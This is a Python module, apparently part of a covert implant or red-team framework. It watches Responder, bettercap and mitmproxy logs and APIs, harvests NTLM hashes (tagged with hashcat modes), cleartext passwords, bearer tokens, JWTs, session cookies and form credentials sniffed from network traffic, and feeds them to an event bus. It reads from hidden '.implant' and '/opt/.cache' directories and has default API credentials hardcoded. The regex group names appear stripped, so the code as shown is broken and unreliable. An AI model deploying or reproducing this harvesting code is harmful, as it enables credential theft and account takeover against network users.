#!/usr/bin/env python3 """Unified tool output parser — ingests output from bettercap, Responder, and mitmproxy, extracting credentials and host data into the event bus. Periodically scans tool log directories for new data and publishes CREDENTIAL_FOUND and HOST_DISCOVERED events for other intel modules to consume. """ import glob import json import logging import os import re import threading import time from typing import Optional from modules.base import BaseModule from utils.credential_encryption import emit_credential_found logger = logging.getLogger("sensor.intel.tool_output_parser") # ----------------------------------------------------------------------- # Responder log patterns # ----------------------------------------------------------------------- # NTLMv2 hash format: user::domain:challenge:response:blob _NTLMV2_RE = re.compile( r"^(?P[^:]+?)::(?P[^:]*?):(?P[0-9a-fA-F]+):" r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)\s*$", re.MULTILINE, ) # NTLMv1 hash format: user::domain:lm_response:nt_response:challenge _NTLMV1_RE = re.compile( r"^(?P[^:]+?)::(?P[^:]*?):(?P[0-9a-fA-F]+):" r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)\s*$", re.MULTILINE, ) # Responder session log: credential captures with timestamps # Format: [*] [TIMESTAMP] PROTOCOL - user:password from source_ip _RESPONDER_SESSION_RE = re.compile( r"^\[\*\]\s+\[(?P[^\]]+)\]\s+(?P\w+)\s*[-:]\s*" r"(?P[^:]+):(?P[^\s]+)\s+from\s+(?P[\d.]+)", re.MULTILINE, ) # HTTP Basic Auth captured by Responder _RESPONDER_HTTP_RE = re.compile( r"^\[\+\].*HTTP.*Username\s*:\s*(?P\S+).*Password\s*:\s*(?P\S+)", re.MULTILINE | re.IGNORECASE, ) # ----------------------------------------------------------------------- # bettercap event patterns # ----------------------------------------------------------------------- # bettercap credential event types _BETTERCAP_CRED_EVENTS = { "net.sniff.credentials", "http.proxy.credentials", "https.proxy.credentials", } _BETTERCAP_HOST_EVENTS = { "endpoint.new", "endpoint.lost", } # ----------------------------------------------------------------------- # mitmproxy flow patterns # ----------------------------------------------------------------------- # Authorization header patterns _AUTH_BASIC_RE = re.compile(r"Basic\s+([A-Za-z0-9+/=]+)", re.I) _AUTH_BEARER_RE = re.compile(r"Bearer\s+(\S+)", re.I) # Cookie patterns with session identifiers _SESSION_COOKIE_NAMES = { "sessionid", "session_id", "phpsessid", "jsessionid", "asp.net_sessionid", "connect.sid", "laravel_session", "csrf_token", "_csrf", "xsrf-token", } # Interesting HTTP headers _INTERESTING_HEADERS = { "authorization", "x-api-key", "x-auth-token", "x-csrf-token", "cookie", "set-cookie", "www-authenticate", } class ToolOutputParser(BaseModule): """Parse output from bettercap, Responder, and mitmproxy into structured events.""" name = "tool_output_parser" module_type = "intel" priority = 80 requires_root = False def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._lock = threading.Lock() self._scan_thread: Optional[threading.Thread] = None self._bettercap_thread: Optional[threading.Thread] = None # Track file positions to avoid re-reading self._file_positions: dict[str, int] = {} # Dedup: track recently emitted credential hashes self._emitted_hashes: set = set() # Counters self._creds_parsed = 0 self._hosts_parsed = 0 self._files_scanned = 0 # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return self._running = True self._pid = os.getpid() self._start_time = time.time() # Load saved file positions positions_json = self.state.get(self.name, "file_positions") if positions_json: try: self._file_positions = json.loads(positions_json) except (json.JSONDecodeError, TypeError): pass # Periodic log directory scanner self._scan_thread = threading.Thread( target=self._scan_loop, daemon=True, name="sensor-tool-parser-scan", ) self._scan_thread.start() # bettercap event stream reader (if bettercap API available) bettercap_cfg = self.config.get("bettercap", {}) if bettercap_cfg.get("enabled", True): self._bettercap_thread = threading.Thread( target=self._bettercap_event_loop, daemon=True, name="sensor-tool-parser-bettercap", ) self._bettercap_thread.start() self.state.set_module_status(self.name, "running", pid=self._pid) logger.info("ToolOutputParser started") def stop(self) -> None: if not self._running: return self._running = False # Save file positions for resume self.state.set(self.name, "file_positions", json.dumps(self._file_positions)) self.state.set_module_status(self.name, "stopped") logger.info( "ToolOutputParser stopped — creds=%d, hosts=%d, files=%d", self._creds_parsed, self._hosts_parsed, self._files_scanned, ) def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "credentials_parsed": self._creds_parsed, "hosts_parsed": self._hosts_parsed, "files_scanned": self._files_scanned, "tracked_files": len(self._file_positions), } def configure(self, config: dict) -> None: self.config.update(config) # ------------------------------------------------------------------ # Log directory scanner # ------------------------------------------------------------------ def _scan_loop(self) -> None: """Periodically scan tool output directories for new data.""" interval = self.config.get("scan_interval", 30) while self._running: try: self._scan_responder_logs() self._scan_mitmproxy_flows() self._scan_bettercap_logs() # Persist positions periodically self.state.set(self.name, "file_positions", json.dumps(self._file_positions)) except Exception: logger.exception("Tool output scan cycle failed") time.sleep(interval) # ------------------------------------------------------------------ # Responder parser # ------------------------------------------------------------------ def _scan_responder_logs(self) -> None: """Parse Responder log files for captured credentials.""" log_dirs = self.config.get("responder_log_dirs", [ "/opt/.cache/bb/responder/logs", "/tmp/responder/logs", os.path.expanduser("~/.implant/responder"), ]) for log_dir in log_dirs: if not os.path.isdir(log_dir): continue # Parse NTLMv2 hash files for path in glob.glob(os.path.join(log_dir, "*-NTLMv2-*.txt")): self._parse_responder_hash_file(path, "ntlmv2", 5600) # Parse NTLMv1 hash files for path in glob.glob(os.path.join(log_dir, "*-NTLMv1-*.txt")): self._parse_responder_hash_file(path, "ntlmv1", 5500) # Parse session log session_log = os.path.join(log_dir, "Responder-Session.log") if os.path.isfile(session_log): self._parse_responder_session(session_log) def _parse_responder_hash_file(self, path: str, cred_type: str, hashcat_mode: int) -> None: """Parse a Responder NTLMv1/v2 hash file.""" new_data = self._read_new_data(path) if not new_data: return self._files_scanned += 1 regex = _NTLMV2_RE if cred_type == "ntlmv2" else _NTLMV1_RE for match in regex.finditer(new_data): full_hash = match.group(0).strip() username = match.group("username") domain = match.group("domain") # Dedup check hash_key = f"{cred_type}:{username}:{domain}:{full_hash[:32]}" if hash_key in self._emitted_hashes: continue self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": "smb", "username": username, "domain": domain, "cred_type": cred_type, "cred_value": full_hash, "hashcat_mode": hashcat_mode, "source_ip": "", "target_ip": "", "notes": f"Captured by Responder from {os.path.basename(path)}", }) def _parse_responder_session(self, path: str) -> None: """Parse Responder-Session.log for cleartext credentials.""" new_data = self._read_new_data(path) if not new_data: return self._files_scanned += 1 for match in _RESPONDER_SESSION_RE.finditer(new_data): protocol = match.group("protocol").lower() username = match.group("username") password = match.group("password") source_ip = match.group("source_ip") hash_key = f"responder_session:{protocol}:{username}:{source_ip}" if hash_key in self._emitted_hashes: continue self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": protocol, "username": username, "domain": "", "cred_type": f"{protocol}_cleartext", "cred_value": password, "hashcat_mode": None, "source_ip": source_ip, "target_ip": "", "notes": "Cleartext capture by Responder", }) # Also check for HTTP basic auth in session log for match in _RESPONDER_HTTP_RE.finditer(new_data): username = match.group("username") password = match.group("password") hash_key = f"responder_http:{username}:{password[:8]}" if hash_key in self._emitted_hashes: continue self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": "http", "username": username, "domain": "", "cred_type": "http_basic", "cred_value": password, "hashcat_mode": None, "source_ip": "", "target_ip": "", "notes": "HTTP Basic Auth captured by Responder", }) # ------------------------------------------------------------------ # bettercap parser # ------------------------------------------------------------------ def _scan_bettercap_logs(self) -> None: """Scan bettercap log files for credential and host events.""" log_dirs = self.config.get("bettercap_log_dirs", [ "/opt/.cache/bb/bettercap/logs", os.path.expanduser("~/.implant/bettercap"), ]) for log_dir in log_dirs: if not os.path.isdir(log_dir): continue for path in glob.glob(os.path.join(log_dir, "events*.json")): self._parse_bettercap_event_file(path) def _parse_bettercap_event_file(self, path: str) -> None: """Parse a bettercap JSON event log file.""" new_data = self._read_new_data(path) if not new_data: return self._files_scanned += 1 # bettercap event files: one JSON object per line for line in new_data.splitlines(): line = line.strip() if not line: continue try: event = json.loads(line) except json.JSONDecodeError: continue self._process_bettercap_event(event) def _bettercap_event_loop(self) -> None: """Connect to bettercap REST API and stream events.""" # Import here to avoid hard dependency try: import urllib.request import urllib.error except ImportError: return api_host = self.config.get("bettercap", {}).get("host", "127.0.0.1") api_port = self.config.get("bettercap", {}).get("port", 8083) api_user = self.config.get("bettercap", {}).get("user", "bb") api_pass = self.config.get("bettercap", {}).get("password", "bb") base_url = f"http://{api_host}:{api_port}" last_event_id = 0 while self._running: try: url = f"{base_url}/api/events?n=50" # Create auth handler auth = f"{api_user}:{api_pass}" import base64 auth_b64 = base64.b64encode(auth.encode()).decode() req = urllib.request.Request(url) req.add_header("Authorization", f"Basic {auth_b64}") with urllib.request.urlopen(req, timeout=10) as resp: data = json.loads(resp.read().decode()) if isinstance(data, list): for event in data: self._process_bettercap_event(event) except urllib.error.URLError: pass # bettercap not running — expected except Exception: logger.debug("bettercap API poll failed", exc_info=True) time.sleep(5) def _process_bettercap_event(self, event: dict) -> None: """Process a single bettercap event.""" tag = event.get("tag", "") data = event.get("data", {}) if not isinstance(data, dict): return # Credential events if tag in _BETTERCAP_CRED_EVENTS or tag == "net.sniff.credentials": self._handle_bettercap_credential(data) # Host discovery events elif tag in _BETTERCAP_HOST_EVENTS or tag == "endpoint.new": self._handle_bettercap_host(data) # HTTP request events (for header analysis) elif tag in ("net.sniff.http.request", "http.proxy.request"): self._handle_bettercap_http(data) def _handle_bettercap_credential(self, data: dict) -> None: """Extract credentials from a bettercap sniff event.""" protocol = data.get("protocol", "unknown").lower() username = data.get("username", data.get("user", "")) password = data.get("password", data.get("pass", "")) source = data.get("from", data.get("src", "")) target = data.get("to", data.get("dst", "")) if not (username or password): # Check for raw hash data hash_val = data.get("hash", data.get("data", "")) if hash_val: cred_type = data.get("type", "unknown_hash") hash_key = f"bettercap:{cred_type}:{hash_val[:32]}" if hash_key in self._emitted_hashes: return self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": protocol, "username": "", "domain": "", "cred_type": cred_type, "cred_value": hash_val, "source_ip": source, "target_ip": target, "notes": "Captured by bettercap", }) return hash_key = f"bettercap:{protocol}:{username}:{password[:16]}" if hash_key in self._emitted_hashes: return self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": protocol, "username": username, "domain": "", "cred_type": f"{protocol}_cleartext", "cred_value": password, "hashcat_mode": None, "source_ip": source, "target_ip": target, "notes": "Captured by bettercap sniffer", }) def _handle_bettercap_host(self, data: dict) -> None: """Extract host info from a bettercap endpoint event.""" ip = data.get("ipv4", data.get("addr", "")) if not ip: return hash_key = f"bettercap:host:{ip}" if hash_key in self._emitted_hashes: return self._emitted_hashes.add(hash_key) self._hosts_parsed += 1 self.bus.emit("HOST_DISCOVERED", { "ip": ip, "mac": data.get("mac", ""), "hostname": data.get("hostname", data.get("name", "")), "os_family": data.get("os", ""), "vendor": data.get("vendor", ""), }, source_module=self.name) def _handle_bettercap_http(self, data: dict) -> None: """Extract credentials from HTTP request headers.""" headers = data.get("headers", {}) if not isinstance(headers, dict): return host = data.get("host", "") path = data.get("path", data.get("url", "")) source = data.get("from", "") for header_name, header_value in headers.items(): header_lower = header_name.lower() if header_lower == "authorization": self._parse_auth_header(header_value, host, source) elif header_lower == "cookie": self._parse_cookie_header(header_value, host, source) def _parse_auth_header(self, value: str, host: str, source_ip: str) -> None: """Parse Authorization header for credentials.""" # Basic Auth basic_match = _AUTH_BASIC_RE.match(value) if basic_match: try: import base64 decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace") if ":" in decoded: username, password = decoded.split(":", 1) hash_key = f"http_auth:{host}:{username}" if hash_key not in self._emitted_hashes: self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": f"http://{host}", "username": username, "domain": "", "cred_type": "http_basic", "cred_value": password, "hashcat_mode": None, "source_ip": source_ip, "target_ip": host, "notes": "HTTP Basic Auth from traffic", }) except Exception: pass return # Bearer token bearer_match = _AUTH_BEARER_RE.match(value) if bearer_match: token = bearer_match.group(1) hash_key = f"bearer:{host}:{token[:16]}" if hash_key not in self._emitted_hashes: self._emitted_hashes.add(hash_key) self._creds_parsed += 1 # Check if it looks like a JWT cred_type = "jwt" if token.count(".") == 2 else "bearer_token" emit_credential_found(self.bus, self.name, { "service": f"http://{host}", "username": "", "domain": "", "cred_type": cred_type, "cred_value": token, "hashcat_mode": None, "source_ip": source_ip, "target_ip": host, "notes": f"{cred_type.upper()} from HTTP traffic", }) def _parse_cookie_header(self, value: str, host: str, source_ip: str) -> None: """Parse Cookie header for session tokens.""" for cookie_pair in value.split(";"): cookie_pair = cookie_pair.strip() if "=" not in cookie_pair: continue name, cookie_val = cookie_pair.split("=", 1) name = name.strip().lower() if name in _SESSION_COOKIE_NAMES: hash_key = f"cookie:{host}:{name}:{cookie_val[:16]}" if hash_key not in self._emitted_hashes: self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": f"http://{host}", "username": "", "domain": "", "cred_type": "cookie", "cred_value": f"{name}={cookie_val}", "hashcat_mode": None, "source_ip": source_ip, "target_ip": host, "notes": f"Session cookie '{name}' from HTTP traffic", }) # ------------------------------------------------------------------ # mitmproxy parser # ------------------------------------------------------------------ def _scan_mitmproxy_flows(self) -> None: """Scan mitmproxy flow dump files for credentials.""" log_dirs = self.config.get("mitmproxy_log_dirs", [ "/opt/.cache/bb/mitmproxy", os.path.expanduser("~/.implant/mitmproxy"), ]) for log_dir in log_dirs: if not os.path.isdir(log_dir): continue # mitmproxy dumped flows (JSON format via mitmdump --set flow_detail=3) for path in glob.glob(os.path.join(log_dir, "flows*.json")): self._parse_mitmproxy_flow_file(path) # Also check for plaintext credential logs for path in glob.glob(os.path.join(log_dir, "credentials*.log")): self._parse_mitmproxy_cred_log(path) def _parse_mitmproxy_flow_file(self, path: str) -> None: """Parse a mitmproxy JSON flow dump.""" new_data = self._read_new_data(path) if not new_data: return self._files_scanned += 1 for line in new_data.splitlines(): line = line.strip() if not line: continue try: flow = json.loads(line) except json.JSONDecodeError: continue request = flow.get("request", {}) headers = request.get("headers", {}) host = request.get("host", "") path_url = request.get("path", "") method = request.get("method", "") if isinstance(headers, dict): for hdr_name, hdr_value in headers.items(): hdr_lower = hdr_name.lower() if hdr_lower == "authorization": self._parse_auth_header(hdr_value, host, "") elif hdr_lower == "cookie": self._parse_cookie_header(hdr_value, host, "") # Check POST body for credentials content = request.get("content", "") if method == "POST" and content: self._parse_post_body(content, host) def _parse_mitmproxy_cred_log(self, path: str) -> None: """Parse a mitmproxy addon credential log (custom format).""" new_data = self._read_new_data(path) if not new_data: return self._files_scanned += 1 for line in new_data.splitlines(): line = line.strip() if not line: continue try: entry = json.loads(line) except json.JSONDecodeError: continue username = entry.get("username", "") password = entry.get("password", "") host = entry.get("host", "") if username and password: hash_key = f"mitmproxy:{host}:{username}:{password[:16]}" if hash_key in self._emitted_hashes: continue self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": f"https://{host}", "username": username, "domain": "", "cred_type": "http_form", "cred_value": password, "hashcat_mode": None, "source_ip": "", "target_ip": host, "notes": "Form credentials captured by mitmproxy", }) def _parse_post_body(self, content: str, host: str) -> None: """Look for credentials in HTTP POST bodies.""" # URL-encoded form data cred_fields = { "password", "passwd", "pass", "pwd", "secret", "token", "api_key", "apikey", } user_fields = { "username", "user", "login", "email", "account", } # Try URL-encoded try: from urllib.parse import parse_qs params = parse_qs(content, keep_blank_values=True) username = "" password = "" for field in user_fields: if field in params: username = params[field][0] break for field in cred_fields: if field in params: password = params[field][0] break if username and password: hash_key = f"post:{host}:{username}:{password[:16]}" if hash_key not in self._emitted_hashes: self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": f"http://{host}", "username": username, "domain": "", "cred_type": "http_form", "cred_value": password, "hashcat_mode": None, "source_ip": "", "target_ip": host, "notes": "Form POST credentials from HTTP traffic", }) except Exception: pass # Try JSON body try: data = json.loads(content) if isinstance(data, dict): username = "" password = "" for field in user_fields: if field in data: username = str(data[field]) break for field in cred_fields: if field in data: password = str(data[field]) break if username and password: hash_key = f"json_post:{host}:{username}:{password[:16]}" if hash_key not in self._emitted_hashes: self._emitted_hashes.add(hash_key) self._creds_parsed += 1 emit_credential_found(self.bus, self.name, { "service": f"http://{host}", "username": username, "domain": "", "cred_type": "http_json", "cred_value": password, "hashcat_mode": None, "source_ip": "", "target_ip": host, "notes": "JSON POST credentials from HTTP traffic", }) except (json.JSONDecodeError, TypeError): pass # ------------------------------------------------------------------ # File reading utilities # ------------------------------------------------------------------ def _read_new_data(self, path: str) -> str: """Read only new data from a file since the last read. Returns the new data, or empty string if nothing new. """ try: size = os.path.getsize(path) except OSError: return "" last_pos = self._file_positions.get(path, 0) if size <= last_pos: return "" try: with open(path, "r", errors="replace") as f: f.seek(last_pos) data = f.read() self._file_positions[path] = size return data except (IOError, PermissionError): return ""